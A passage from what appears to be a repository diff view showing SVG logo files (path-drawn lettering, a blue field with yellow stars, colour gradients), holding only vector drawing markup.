<path fill="#1A1A1A" d="M10.045,58.944V53.66h1.998c0.346,0,0.617,0.016,0.806,0.053c0.251,0.042,0.471,0.125,0.648,0.246c0.179,0.121,0.314,0.293,0.419,0.513c0.104,0.214,0.167,0.455,0.167,0.717c0,0.45-0.146,0.832-0.429,1.142c-0.293,0.313-0.806,0.466-1.549,0.466h-1.359v2.148L10.045,58.944L10.045,58.944z M10.746,56.171h1.37c0.45,0,0.764-0.083,0.963-0.251c0.188-0.167,0.282-0.403,0.282-0.711c0-0.22-0.063-0.408-0.167-0.565c-0.115-0.157-0.262-0.261-0.439-0.313c-0.126-0.031-0.335-0.047-0.659-0.047h-1.35V56.171z"/>
<path fill="#1A1A1A" d="M14.596,56.37c0-0.879,0.23-1.564,0.701-2.063c0.471-0.492,1.078-0.743,1.821-0.743c0.491,0,0.931,0.12,1.318,0.352c0.397,0.234,0.69,0.56,0.899,0.973c0.209,0.418,0.313,0.889,0.313,1.418c0,0.539-0.114,1.017-0.324,1.438c-0.22,0.424-0.522,0.741-0.921,0.962c-0.397,0.215-0.826,0.325-1.286,0.325c-0.492,0-0.942-0.12-1.329-0.361c-0.397-0.24-0.69-0.57-0.89-0.983C14.69,57.275,14.596,56.836,14.596,56.37z M15.318,56.381c0,0.638,0.167,1.141,0.513,1.507c0.345,0.366,0.764,0.549,1.287,0.549c0.522,0,0.952-0.188,1.297-0.555c0.335-0.372,0.513-0.896,0.513-1.575c0-0.429-0.073-0.806-0.22-1.125c-0.146-0.324-0.355-0.57-0.638-0.748c-0.283-0.178-0.597-0.267-0.942-0.267c-0.491,0-0.921,0.173-1.276,0.513C15.496,55.021,15.318,55.585,15.318,56.381z"/>
<path fill="#1A1A1A" d="M20.55,53.66h4.153v5.282h-0.7v-4.66h-2.752v4.66H20.55V53.66z"/>
<path fill="#1A1A1A" d="M25.865,58.944V53.66h3.818v0.623h-3.117v1.622h2.919v0.615h-2.919v1.802h3.232v0.621H25.865L25.865,58.944z"/>
<path fill="#1A1A1A" d="M30.782,53.66h0.628v4.186l2.814-4.186h0.701v5.282h-0.638V54.77l-2.805,4.175h-0.701V53.66H30.782zM33.409,52.406h0.439c-0.031,0.298-0.146,0.526-0.324,0.688c-0.188,0.162-0.43,0.241-0.732,0.241c-0.314,0-0.555-0.079-0.743-0.235c-0.178-0.162-0.293-0.393-0.324-0.694h0.439c0.031,0.16,0.104,0.281,0.198,0.364c0.104,0.078,0.23,0.12,0.397,0.12c0.199,0,0.346-0.042,0.45-0.115C33.305,52.698,33.378,52.573,33.409,52.406z"/>
<path fill="#1A1A1A" d="M39.844,57.092l0.69,0.173c-0.146,0.575-0.408,1.017-0.784,1.313c-0.389,0.303-0.848,0.455-1.402,0.455c-0.563,0-1.025-0.115-1.381-0.353c-0.356-0.229-0.628-0.563-0.816-1.004c-0.188-0.438-0.282-0.911-0.282-1.418c0-0.549,0.104-1.025,0.313-1.438c0.209-0.407,0.513-0.718,0.899-0.932c0.388-0.214,0.816-0.318,1.276-0.318c0.533,0,0.974,0.137,1.34,0.402c0.354,0.272,0.604,0.649,0.753,1.135l-0.69,0.162c-0.125-0.382-0.303-0.665-0.533-0.837c-0.229-0.178-0.521-0.267-0.879-0.267c-0.408,0-0.743,0.1-1.015,0.293c-0.272,0.192-0.472,0.456-0.576,0.785c-0.115,0.33-0.167,0.665-0.167,1.015c0,0.45,0.063,0.837,0.198,1.172c0.126,0.34,0.335,0.586,0.607,0.753c0.282,0.167,0.575,0.251,0.899,0.251c0.388,0,0.724-0.114,0.994-0.34C39.563,57.872,39.738,57.537,39.844,57.092z"/>
<path fill="#1A1A1A" d="M41.413,53.66h0.7v2.313c0.313,0,0.533-0.058,0.671-0.183c0.125-0.125,0.293-0.424,0.491-0.896c0.146-0.345,0.271-0.586,0.365-0.73c0.096-0.144,0.229-0.264,0.407-0.361c0.168-0.094,0.366-0.141,0.575-0.141c0.271,0,0.408,0,0.432,0.005v0.605c-0.021,0-0.074-0.005-0.146-0.005c-0.073-0.005-0.115-0.005-0.137-0.005c-0.222,0-0.389,0.052-0.502,0.162c-0.104,0.11-0.23,0.34-0.377,0.691c-0.18,0.448-0.324,0.73-0.449,0.847c-0.115,0.115-0.272,0.209-0.439,0.278c0.346,0.094,0.68,0.406,1.016,0.945l1.088,1.758h-0.869L43.35,57.51c-0.24-0.396-0.438-0.67-0.605-0.816c-0.168-0.149-0.377-0.225-0.628-0.225v2.475h-0.701L41.413,53.66L41.413,53.66z"/>
<path fill="#1A1A1A" d="M45.714,53.66h0.628v4.186l2.814-4.186h0.701v5.282h-0.641V54.77l-2.813,4.175h-0.69V53.66z"/>
<path fill="#1A1A1A" d="M56.814,57.092l0.701,0.173c-0.146,0.575-0.408,1.017-0.795,1.313c-0.379,0.303-0.839,0.455-1.394,0.455c-0.563,0-1.036-0.115-1.394-0.353c-0.354-0.229-0.627-0.563-0.806-1.004c-0.188-0.438-0.282-0.911-0.282-1.418c0-0.549,0.104-1.025,0.313-1.438c0.21-0.407,0.513-0.718,0.899-0.932s0.814-0.318,1.275-0.318c0.533,0,0.975,0.137,1.339,0.402c0.356,0.272,0.606,0.649,0.743,1.135l-0.682,0.162c-0.125-0.382-0.303-0.665-0.532-0.837c-0.24-0.178-0.522-0.267-0.88-0.267c-0.407,0-0.752,0.1-1.024,0.293c-0.271,0.192-0.46,0.456-0.563,0.785c-0.114,0.33-0.168,0.665-0.168,1.015c0,0.45,0.063,0.837,0.188,1.172c0.137,0.34,0.335,0.586,0.617,0.753c0.271,0.167,0.574,0.251,0.898,0.251c0.389,0,0.724-0.114,0.994-0.34C56.543,57.872,56.721,57.537,56.814,57.092z"/>
<path fill="#1A1A1A" d="M57.559,53.66h2.301v2.255h1.269c0.826,0,1.37,0.157,1.632,0.46c0.252,0.309,0.389,0.652,0.389,1.041c0,0.438-0.146,0.806-0.449,1.094c-0.305,0.288-0.807,0.434-1.527,0.434h-2.009v-4.66h-1.603V53.66H57.559z M59.859,58.348h1.277c0.438,0,0.764-0.073,0.961-0.22c0.188-0.152,0.293-0.382,0.293-0.706c0-0.22-0.063-0.403-0.179-0.555c-0.114-0.146-0.271-0.246-0.46-0.288s-0.514-0.063-0.963-0.063h-0.934v1.832H59.859z"/>
<path fill="#1A1A1A" d="M63.982,53.66h0.701v2.37h1.014c0.054-0.748,0.305-1.347,0.744-1.79c0.438-0.444,0.981-0.671,1.643-0.671c0.689,0,1.256,0.241,1.716,0.729c0.45,0.486,0.671,1.146,0.671,1.972c0,0.868-0.221,1.543-0.671,2.03s-1.036,0.732-1.737,0.732c-0.638,0-1.172-0.209-1.601-0.635c-0.418-0.424-0.67-1.005-0.743-1.748h-1.035v2.292h-0.701V53.66L63.982,53.66z M66.398,56.328c0,0.665,0.158,1.183,0.472,1.554c0.304,0.366,0.7,0.555,1.203,0.555c0.513,0,0.921-0.188,1.225-0.555c0.304-0.372,0.46-0.905,0.46-1.596c0-0.659-0.146-1.179-0.449-1.561c-0.304-0.377-0.711-0.563-1.213-0.563c-0.522,0-0.943,0.191-1.236,0.574C66.557,55.12,66.398,55.648,66.398,56.328z"/>
<path fill="#1A1A1A" d="M71.129,57.453l0.669-0.173c0.054,0.256,0.188,0.513,0.397,0.769c0.229,0.256,0.514,0.388,0.88,0.388s0.659-0.095,0.879-0.288c0.209-0.188,0.313-0.418,0.313-0.686c0-0.293-0.104-0.523-0.336-0.696c-0.229-0.172-0.533-0.256-0.92-0.256h-0.337v-0.604c0.325,0,0.565-0.021,0.732-0.06c0.179-0.037,0.323-0.131,0.461-0.288c0.125-0.149,0.188-0.324,0.188-0.518c0-0.23-0.084-0.431-0.263-0.604c-0.178-0.173-0.429-0.256-0.731-0.256c-0.263,0-0.492,0.068-0.682,0.199c-0.188,0.136-0.313,0.313-0.387,0.534c-0.074,0.22-0.115,0.382-0.115,0.492l-0.67-0.152c0.168-1.125,0.785-1.687,1.863-1.687c0.513,0,0.92,0.146,1.224,0.431c0.306,0.288,0.461,0.623,0.461,1.009c0,0.492-0.229,0.874-0.7,1.146c0.271,0.072,0.49,0.226,0.68,0.454C74.916,56.841,75,57.113,75,57.432c0,0.456-0.167,0.837-0.523,1.143c-0.354,0.309-0.813,0.46-1.399,0.46C72.081,59.033,71.432,58.505,71.129,57.453z"/>
<path fill="#1A1A1A" d="M0.22,68.785v-5.279h3.819v0.623H0.921v1.617H3.84v0.615H0.921v1.802h3.243v0.623L0.22,68.785L0.22,68.785z"/>
<path fill="#1A1A1A" d="M5.096,68.785v-5.279h1.988c0.397,0,0.722,0.053,0.962,0.157c0.251,0.108,0.439,0.271,0.576,0.497c0.136,0.22,0.209,0.448,0.209,0.694c0,0.227-0.063,0.439-0.188,0.64c-0.115,0.197-0.304,0.354-0.555,0.479c0.324,0.094,0.565,0.251,0.743,0.481c0.167,0.225,0.251,0.49,0.251,0.795c0,0.251-0.053,0.479-0.157,0.688c-0.104,0.215-0.229,0.377-0.387,0.492c-0.146,0.115-0.346,0.204-0.575,0.261c-0.23,0.06-0.513,0.091-0.848,0.091H5.096V68.785zM5.797,65.725h1.141c0.313,0,0.533-0.021,0.669-0.063C7.785,65.61,7.921,65.52,8.004,65.4c0.095-0.125,0.137-0.275,0.137-0.46c0-0.178-0.042-0.33-0.126-0.465c-0.084-0.131-0.198-0.225-0.355-0.271c-0.157-0.054-0.429-0.073-0.806-0.073H5.797V65.725zM5.797,68.162h1.318c0.22,0,0.376-0.012,0.471-0.026c0.167-0.026,0.293-0.079,0.408-0.146c0.104-0.063,0.198-0.163,0.262-0.293C8.329,67.57,8.36,67.42,8.36,67.252c0-0.194-0.053-0.366-0.146-0.513c-0.104-0.143-0.241-0.246-0.419-0.306c-0.178-0.057-0.439-0.088-0.774-0.088H5.797V68.162z"/>
<path fill="#1A1A1A" d="M10.045,68.785v-5.279h1.998c0.346,0,0.617,0.016,0.806,0.047c0.251,0.042,0.471,0.125,0.648,0.246c0.179,0.126,0.314,0.293,0.419,0.513c0.105,0.222,0.167,0.461,0.167,0.724c0,0.443-0.146,0.825-0.429,1.135c-0.293,0.313-0.806,0.471-1.549,0.471h-1.359v2.146h-0.701V68.785z M10.746,66.012h1.37c0.45,0,0.764-0.084,0.963-0.251c0.188-0.168,0.282-0.403,0.282-0.707c0-0.225-0.063-0.414-0.167-0.57c-0.115-0.155-0.262-0.261-0.439-0.309c-0.126-0.031-0.335-0.047-0.659-0.047h-1.35V66.012z"/>
<path fill="#1A1A1A" d="M14.596,66.211c0-0.874,0.23-1.561,0.701-2.056c0.471-0.497,1.078-0.743,1.821-0.743c0.491,0,0.931,0.113,1.318,0.345c0.397,0.235,0.69,0.56,0.899,0.979c0.209,0.413,0.313,0.891,0.313,1.417c0,0.534-0.114,1.017-0.324,1.436c-0.22,0.423-0.522,0.743-0.921,0.962c-0.397,0.22-0.826,0.325-1.286,0.325c-0.492,0-0.942-0.121-1.329-0.361c-0.397-0.241-0.69-0.563-0.89-0.982C14.69,67.116,14.596,66.677,14.596,66.211z M15.318,66.221c0,0.639,0.167,1.141,0.513,1.507c0.345,0.366,0.764,0.549,1.287,0.549c0.522,0,0.952-0.183,1.297-0.555c0.335-0.372,0.513-0.895,0.513-1.575c0-0.429-0.073-0.806-0.22-1.125c-0.146-0.317-0.355-0.568-0.638-0.749c-0.283-0.178-0.597-0.261-0.942-0.261c-0.491,0-0.921,0.167-1.276,0.507S15.318,65.426,15.318,66.221z"/>
<path fill="#1A1A1A" d="M20.55,63.506h4.153v5.279h-0.7v-4.656h-2.752v4.656H20.55V63.506z"/>
<path fill="#1A1A1A" d="M25.865,68.785v-5.279h3.818v0.623h-3.117v1.617h2.919v0.615h-2.919v1.802h3.232v0.623L25.865,68.785L25.865,68.785z"/>
<path fill="#1A1A1A" d="M30.782,63.506h0.628v4.18l2.814-4.18h0.701v5.279h-0.638v-4.169l-2.805,4.169h-0.701v-5.279H30.782zM33.409,62.246h0.439c-0.031,0.303-0.146,0.531-0.324,0.688c-0.188,0.162-0.43,0.246-0.732,0.246c-0.314,0-0.555-0.083-0.743-0.24c-0.178-0.163-0.293-0.393-0.324-0.694h0.439c0.031,0.162,0.104,0.288,0.198,0.364c0.104,0.078,0.23,0.12,0.397,0.12c0.199,0,0.346-0.037,0.45-0.113C33.305,62.539,33.378,62.413,33.409,62.246z"/>
<path fill="#1A1A1A" d="M39.844,66.933l0.69,0.178c-0.146,0.575-0.408,1.011-0.784,1.313c-0.389,0.298-0.848,0.45-1.402,0.45c-0.563,0-1.025-0.115-1.381-0.348c-0.356-0.229-0.628-0.568-0.816-1.009c-0.188-0.438-0.282-0.911-0.282-1.413c0-0.549,0.104-1.028,0.313-1.438c0.209-0.413,0.513-0.724,0.899-0.938c0.388-0.209,0.816-0.317,1.276-0.317c0.533,0,0.974,0.136,1.34,0.401c0.354,0.272,0.604,0.648,0.753,1.137l-0.69,0.16c-0.125-0.382-0.303-0.664-0.533-0.837c-0.229-0.178-0.521-0.261-0.879-0.261c-0.408,0-0.743,0.094-1.015,0.288c-0.272,0.199-0.472,0.46-0.576,0.785c-0.115,0.33-0.167,0.665-0.167,1.015c0,0.45,0.063,0.842,0.198,1.177c0.126,0.336,0.335,0.588,0.607,0.756c0.282,0.16,0.575,0.244,0.899,0.244c0.388,0,0.724-0.113,0.994-0.34C39.563,67.712,39.738,67.377,39.844,66.933z"/>
<path fill="#1A1A1A" d="M41.413,63.506h0.7v2.313c0.313,0,0.533-0.063,0.671-0.188c0.125-0.12,0.293-0.418,0.491-0.889c0.146-0.347,0.271-0.593,0.365-0.732c0.096-0.146,0.229-0.267,0.407-0.361c0.168-0.1,0.366-0.146,0.575-0.146c0.271,0,0.408,0,0.432,0.005v0.607c-0.021,0-0.074,0-0.146-0.007c-0.073,0-0.115,0-0.137,0c-0.222,0-0.389,0.054-0.502,0.157c-0.104,0.11-0.23,0.34-0.377,0.696c-0.18,0.445-0.324,0.728-0.449,0.842c-0.115,0.115-0.272,0.209-0.439,0.283c0.346,0.089,0.68,0.408,1.016,0.939l1.088,1.76h-0.869l-0.889-1.436c-0.24-0.396-0.438-0.669-0.605-0.814c-0.168-0.146-0.377-0.222-0.628-0.222v2.471h-0.701L41.413,63.506L41.413,63.506z"/>
<path fill="#1A1A1A" d="M45.714,63.506h0.628v4.18l2.814-4.18h0.701v5.279h-0.641v-4.169l-2.813,4.169h-0.69V63.506z"/>
<path fill="#1A1A1A" d="M3.976,75.193l0.701,0.18c-0.146,0.576-0.408,1.01-0.795,1.313c-0.377,0.304-0.848,0.45-1.392,0.45c-0.575,0-1.036-0.115-1.392-0.345c-0.356-0.23-0.628-0.565-0.816-1.004C0.094,75.346,0,74.869,0,74.367c0-0.551,0.104-1.031,0.324-1.439c0.209-0.408,0.502-0.722,0.89-0.931c0.387-0.215,0.816-0.319,1.287-0.319c0.522,0,0.973,0.131,1.328,0.403c0.356,0.267,0.618,0.644,0.754,1.135l-0.69,0.163c-0.115-0.388-0.293-0.665-0.534-0.842c-0.229-0.173-0.522-0.264-0.879-0.264c-0.397,0-0.742,0.096-1.015,0.293c-0.272,0.193-0.46,0.455-0.575,0.779c-0.104,0.33-0.168,0.669-0.168,1.015c0,0.45,0.073,0.844,0.199,1.179c0.136,0.334,0.335,0.586,0.606,0.753c0.283,0.163,0.576,0.246,0.9,0.246c0.397,0,0.722-0.115,0.994-0.34C3.693,75.973,3.882,75.638,3.976,75.193z"/>
<path fill="#1A1A1A" d="M5.158,74.477c0-0.879,0.241-1.563,0.712-2.062c0.471-0.498,1.077-0.743,1.82-0.743c0.481,0,0.921,0.115,1.318,0.351c0.387,0.23,0.69,0.556,0.89,0.975c0.209,0.419,0.313,0.89,0.313,1.418c0,0.534-0.115,1.015-0.324,1.438c-0.22,0.419-0.523,0.743-0.921,0.958c-0.397,0.222-0.826,0.324-1.287,0.324c-0.491,0-0.941-0.12-1.328-0.354c-0.388-0.24-0.691-0.569-0.89-0.982C5.263,75.376,5.158,74.937,5.158,74.477z M5.88,74.487c0,0.635,0.168,1.137,0.513,1.501c0.346,0.366,0.774,0.551,1.287,0.551c0.523,0,0.963-0.185,1.298-0.557c0.345-0.371,0.513-0.895,0.513-1.573c0-0.431-0.073-0.808-0.22-1.125c-0.146-0.319-0.355-0.57-0.639-0.743c-0.282-0.18-0.596-0.269-0.941-0.269c-0.492,0-0.921,0.167-1.276,0.507C6.06,73.119,5.88,73.692,5.88,74.487z"/>
<path fill="#1A1A1A" d="M11.112,71.767h0.7v4.656h2.752v-4.656h0.701v4.656h0.481v2.093H15.13v-1.47h-4.018V71.767z"/>
<path fill="#1A1A1A" d="M16.584,71.767h0.628v4.182l2.814-4.182h0.701v5.278h-0.639v-4.169l-2.814,4.169h-0.69V71.767z"/>
<path fill="#1A1A1A" d="M21.293,77.045l2.029-5.278h0.754l2.155,5.278h-0.796l-0.617-1.596h-2.207l-0.576,1.596H21.293zM22.82,74.88h1.789l-0.555-1.465c-0.167-0.445-0.293-0.813-0.377-1.096c-0.063,0.342-0.156,0.677-0.282,1.012L22.82,74.88z"/>
<path fill="#1A1A1A" d="M27.34,71.767h3.307v5.278h-0.701V72.39h-1.904v2.72c0,0.551-0.031,0.957-0.083,1.215c-0.053,0.256-0.157,0.454-0.325,0.602c-0.167,0.141-0.376,0.209-0.627,0.209c-0.157,0-0.335-0.026-0.555-0.083l0.115-0.623c0.114,0.052,0.22,0.073,0.303,0.073c0.157,0,0.272-0.06,0.356-0.178c0.073-0.12,0.114-0.397,0.114-0.844V71.767z"/>
<path fill="#1A1A1A" d="M31.808,77.045v-5.278h3.819v0.623h-3.118v1.616h2.92v0.618h-2.92v1.799h3.244v0.623L31.808,77.045L31.808,77.045z"/>
<path fill="#1A1A1A" d="M36.736,77.045v-5.278h0.701v2.166h2.741v-2.166h0.701v5.278h-0.701v-2.49h-2.741v2.49H36.736z"/>
<path fill="#1A1A1A" d="M46.007,72.4v-0.675h0.647V72.4c0.681,0.037,1.203,0.235,1.602,0.607c0.389,0.366,0.576,0.826,0.576,1.375c0,0.534-0.188,0.989-0.564,1.366c-0.377,0.372-0.91,0.581-1.61,0.617v0.68h-0.648v-0.68c-0.628-0.026-1.149-0.216-1.56-0.57c-0.42-0.356-0.629-0.827-0.629-1.413c0-0.591,0.209-1.063,0.617-1.412C44.855,72.615,45.379,72.426,46.007,72.4z M46.007,73.001c-0.438,0.021-0.784,0.146-1.057,0.387c-0.272,0.235-0.408,0.565-0.408,0.994c0,0.419,0.136,0.749,0.397,0.989c0.271,0.239,0.617,0.372,1.065,0.388L46.007,73.001L46.007,73.001z M46.654,72.996v2.768c0.461-0.021,0.807-0.151,1.068-0.393c0.262-0.24,0.387-0.57,0.387-0.989c0-0.413-0.125-0.743-0.377-0.983C47.48,73.159,47.115,73.022,46.654,72.996z"/>
<path fill="#1A1A1A" d="M49.491,74.477c0-0.879,0.229-1.563,0.7-2.062c0.472-0.497,1.078-0.743,1.83-0.743c0.48,0,0.922,0.115,1.317,0.351c0.39,0.23,0.69,0.556,0.892,0.975c0.209,0.419,0.313,0.89,0.313,1.418c0,0.534-0.113,1.015-0.325,1.438c-0.22,0.419-0.521,0.743-0.92,0.958c-0.397,0.222-0.825,0.324-1.286,0.324c-0.492,0-0.941-0.12-1.328-0.354c-0.397-0.24-0.69-0.569-0.892-0.982C49.596,75.376,49.491,74.937,49.491,74.477z M50.213,74.487c0,0.635,0.167,1.137,0.514,1.501c0.344,0.366,0.773,0.551,1.287,0.551c0.521,0,0.961-0.185,1.297-0.557c0.347-0.371,0.514-0.895,0.514-1.573c0-0.431-0.073-0.808-0.221-1.125c-0.146-0.319-0.354-0.57-0.639-0.743c-0.283-0.18-0.597-0.269-0.941-0.269c-0.49,0-0.92,0.167-1.275,0.507C50.391,73.122,50.213,73.692,50.213,74.487z"/>
<path fill="#1A1A1A" d="M55.465,77.045v-5.278h0.701v2.166h2.741v-2.166h0.7v5.278h-0.7v-2.49h-2.741v2.49H55.465z"/>
<path fill="#1A1A1A" d="M61.251,71.767h3.213v4.656h0.472v1.857h-0.617v-1.235h-3.494v1.235h-0.617v-1.857h0.406c0.42-0.638,0.64-1.938,0.64-3.887L61.251,71.767L61.251,71.767z M63.764,72.39h-1.843v0.271c0,0.443-0.042,1.062-0.114,1.842c-0.084,0.78-0.24,1.417-0.48,1.92h2.438V72.39z"/>
<rect x="0" y="0" fill="#114D97" width="75.004" height="49.943"/>
<polygon fill="#F7EC2F" points="30.705,13.393 28.987,12.158 27.272,13.393 27.858,11.295 26.215,9.961 28.288,9.904 28.987,7.847 29.689,9.904 31.761,9.961 30.118,11.295 "/>
<polygon fill="#F7EC2F" points="30.944,42.203 29.229,40.968 27.513,42.203 28.1,40.106 26.457,38.772 28.527,38.708 29.229,36.653 29.93,38.708 32.001,38.772 30.359,40.106 "/>
<polygon fill="#F7EC2F" points="39.283,44.431 37.567,43.197 35.853,44.431 36.438,42.339 34.784,40.999 36.866,40.938 37.567,38.881 38.258,40.938 40.34,40.999 38.697,42.339 "/>
<polygon fill="#F7EC2F" points="47.582,42.134 45.865,40.901 44.148,42.134 44.734,40.037 43.082,38.708 45.164,38.646 45.865,36.579 46.557,38.646 48.639,38.708 46.996,40.037 "/>
<polygon fill="#F7EC2F" points="53.682,35.951 51.965,34.716 50.25,35.951 50.836,33.859 49.191,32.526 51.275,32.462 51.965,30.402 52.666,32.462 54.736,32.526 53.096,33.859 "/>
<polygon fill="#F7EC2F" points="55.9,27.638 54.184,26.404 52.467,27.638 53.053,25.54 51.41,24.212 53.482,24.144 54.184,22.088 54.885,24.144 56.957,24.212 55.314,25.54 "/>
<polygon fill="#F7EC2F" points="53.482,19.257 51.766,18.028 50.061,19.257 50.646,17.164 48.992,15.83 51.074,15.768 51.766,13.712 52.467,15.768 54.549,15.83 52.896,17.164 "/>
<polygon fill="#F7EC2F" points="47.467,13.22 45.75,11.986 44.033,13.22 44.621,11.116 42.977,9.788 45.049,9.726 45.75,7.669 46.451,9.726 48.523,9.788 46.881,11.116 "/>
<polygon fill="#F7EC2F" points="39.043,11.066 37.327,9.83 35.611,11.066 36.197,8.972 34.554,7.632 36.626,7.575 37.327,5.513 38.027,7.575 40.109,7.632 38.457,8.972 "/>
<polygon fill="#F7EC2F" points="24.708,19.53 22.992,18.294 21.276,19.53 21.862,17.431 20.22,16.097 22.292,16.034 22.992,13.979 23.693,16.034 25.765,16.097 24.123,17.431 "/>
<polygon fill="#F7EC2F" points="22.542,27.812 20.826,26.576 19.11,27.812 19.696,25.713 18.043,24.379 20.125,24.317 20.826,22.26 21.518,24.317 23.601,24.379 21.957,25.713 "/>
<polygon fill="#F7EC2F" points="24.813,36.171 23.097,34.937 21.381,36.171 21.967,34.073 20.324,32.744 22.396,32.676 23.097,30.62 23.798,32.676 25.871,32.744 24.228,34.073 "/>
</svg>

After

Width:  |  Height:  |  Size: 18 KiB

View File

@@ -0,0 +1,87 @@
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="82px" height="65.68px" viewBox="0 0 82 65.68">
<defs>
<linearGradient id="SVGID_1_" gradientUnits="userSpaceOnUse" x1="58.2744" y1="25.2605" x2="59.7073" y2="49.5906">
<stop offset="0" stop-color="#ED1C24"/>
<stop offset="0.83" stop-color="#ED1C24"/>
<stop offset="0.96" stop-color="#B51218"/>
<stop offset="1" stop-color="#B51218"/>
</linearGradient>
<linearGradient id="SVGID_2_" gradientUnits="userSpaceOnUse" x1="9.124" y1="38.7258" x2="62.9365" y2="38.7258">
<stop offset="0" stop-color="#FFD400"/>
<stop offset="0.13" stop-color="#FFD400"/>
<stop offset="0.46" stop-color="#FFF200"/>
<stop offset="0.88" stop-color="#FFF200"/>
<stop offset="1" stop-color="#FFD400"/>
</linearGradient>
<linearGradient id="SVGID_3_" gradientUnits="userSpaceOnUse" x1="23.6235" y1="48.9094" x2="23.6235" y2="0.0071">
<stop offset="0" stop-color="#DCDDDE"/>
<stop offset="0.31" stop-color="#EBEBEC"/>
<stop offset="0.54" stop-color="#FFFFFF"/>
<stop offset="0.72" stop-color="#FFFFFF"/>
<stop offset="0.99" stop-color="#DCDDDE"/>
<stop offset="1" stop-color="#D1D3D4"/>
</linearGradient>
<linearGradient id="SVGID_4_" gradientUnits="userSpaceOnUse" x1="39.415" y1="-0.2146" x2="40.6521" y2="25.1713">
<stop offset="0" stop-color="#D51920"/>
<stop offset="0.06" stop-color="#D51920"/>
<stop offset="0.11" stop-color="#ED1C24"/>
<stop offset="0.99" stop-color="#ED1C24"/>
<stop offset="1" stop-color="#B51218"/>
</linearGradient>
<linearGradient id="SVGID_5_" gradientUnits="userSpaceOnUse" x1="25.5503" y1="49.1838" x2="66.2371" y2="8.3985">
<stop offset="0" stop-color="#02428D"/>
<stop offset="0.14" stop-color="#034EA2"/>
<stop offset="0.41" stop-color="#0062AF"/>
<stop offset="0.86" stop-color="#034EA2"/>
<stop offset="1" stop-color="#023F88"/>
</linearGradient>
<linearGradient id="SVGID_6_" gradientUnits="userSpaceOnUse" x1="9.123" y1="11.6936" x2="123.8082" y2="11.6936">
<stop offset="0" stop-color="#008641"/>
<stop offset="0.01" stop-color="#008641"/>
<stop offset="0.11" stop-color="#00A651"/>
<stop offset="0.88" stop-color="#00A651"/>
<stop offset="0.97" stop-color="#009247"/>
<stop offset="1" stop-color="#009247"/>
</linearGradient>
</defs>
<path fill="#717171" d="M80.658,54.327h-0.357l-1.314,2.428h0.357l0.395-0.766h1.48l0.395,0.766h0.357L80.658,54.327zM79.842,55.792l0.633-1.238l0.648,1.238H79.842z"/>
<polygon fill="#717171" points="74.287,56.755 74.287,54.575 75.447,56.755 75.768,56.755 76.924,54.575 76.924,56.755 77.254,56.755 77.254,54.327 76.725,54.327 75.605,56.472 74.484,54.327 73.957,54.327 73.957,56.755"/>
<path fill="#717171" d="M70.809,54.327h-0.355l-1.314,2.428h0.357l0.395-0.766h1.48l0.396,0.766h0.355L70.809,54.327zM69.992,55.792l0.635-1.238l0.646,1.238H69.992z"/>
<path fill="#717171" d="M67.445,54.638c-0.086-0.105-0.205-0.186-0.359-0.236c-0.156-0.051-0.34-0.076-0.557-0.074h-1.285v2.43h0.328v-0.002V55.79h0.844c0.162,0,0.313-0.016,0.453-0.041c0.141-0.027,0.262-0.068,0.367-0.127c0.104-0.061,0.188-0.135,0.246-0.229s0.09-0.205,0.09-0.338C67.572,54.884,67.529,54.745,67.445,54.638z M67.17,55.327c-0.045,0.068-0.107,0.121-0.189,0.158c-0.08,0.035-0.172,0.063-0.273,0.074c-0.107,0.016-0.221,0.021-0.342,0.021h-0.791V54.54h0.861c0.199,0,0.355,0.018,0.475,0.055c0.117,0.039,0.201,0.098,0.254,0.174c0.053,0.078,0.074,0.176,0.074,0.295C67.236,55.171,67.217,55.259,67.17,55.327z"/>
<polygon fill="#717171" points="61.752,54.54 63.385,54.54 63.385,54.327 61.416,54.327 61.416,56.757 61.752,56.757"/>
<path fill="#717171" d="M59.33,55.157c-0.041-0.129-0.104-0.244-0.184-0.354c-0.082-0.104-0.186-0.199-0.309-0.277c-0.123-0.076-0.268-0.139-0.434-0.182s-0.352-0.063-0.561-0.063s-0.396,0.021-0.561,0.063c-0.166,0.045-0.311,0.105-0.438,0.188c-0.123,0.076-0.227,0.17-0.309,0.275c-0.082,0.107-0.143,0.225-0.184,0.352c-0.039,0.127-0.057,0.26-0.057,0.4c0,0.191,0.037,0.363,0.107,0.518c0.07,0.152,0.176,0.283,0.313,0.391c0.133,0.107,0.297,0.191,0.486,0.248s0.404,0.086,0.643,0.088c0.236-0.002,0.451-0.031,0.641-0.088s0.354-0.141,0.486-0.248c0.135-0.107,0.236-0.236,0.311-0.391c0.07-0.152,0.105-0.324,0.105-0.518C59.389,55.419,59.369,55.284,59.33,55.157z M58.902,56.115c-0.096,0.154-0.236,0.271-0.416,0.355s-0.395,0.125-0.641,0.127c-0.25-0.002-0.467-0.043-0.646-0.127c-0.182-0.084-0.322-0.203-0.42-0.355c-0.1-0.156-0.148-0.34-0.148-0.555c0-0.227,0.049-0.42,0.145-0.58s0.234-0.281,0.416-0.365s0.398-0.127,0.654-0.129c0.254,0.002,0.471,0.045,0.65,0.129s0.314,0.205,0.41,0.365s0.143,0.354,0.145,0.58C59.049,55.775,58.998,55.958,58.902,56.115z"/>
<path fill="#717171" d="M54.402,54.638c-0.084-0.105-0.203-0.186-0.359-0.236c-0.154-0.051-0.34-0.076-0.555-0.074h-1.287v2.43h0.33v-0.002V55.79h0.844c0.162,0,0.313-0.016,0.451-0.041c0.141-0.027,0.262-0.068,0.367-0.127c0.105-0.061,0.188-0.135,0.248-0.229c0.059-0.094,0.088-0.205,0.09-0.338C54.529,54.884,54.486,54.745,54.402,54.638zM54.127,55.327c-0.045,0.068-0.107,0.121-0.188,0.158c-0.08,0.035-0.174,0.063-0.277,0.074c-0.105,0.016-0.219,0.021-0.342,0.021h-0.789V54.54h0.863c0.197,0,0.355,0.018,0.473,0.055c0.117,0.039,0.201,0.098,0.254,0.174c0.051,0.078,0.074,0.176,0.074,0.295C54.195,55.171,54.172,55.259,54.127,55.327z"/>
<polygon fill="#717171" points="47.619,56.755 47.949,56.755 47.949,54.519 49.787,54.519 49.787,56.755 50.123,56.755 50.123,54.327 47.619,54.327"/>
<path fill="#717171" d="M43.105,54.327H42.75l-1.313,2.428h0.355l0.396-0.766h1.477l0.398,0.766h0.355L43.105,54.327zM42.291,55.792l0.633-1.238l0.646,1.238H42.291z"/>
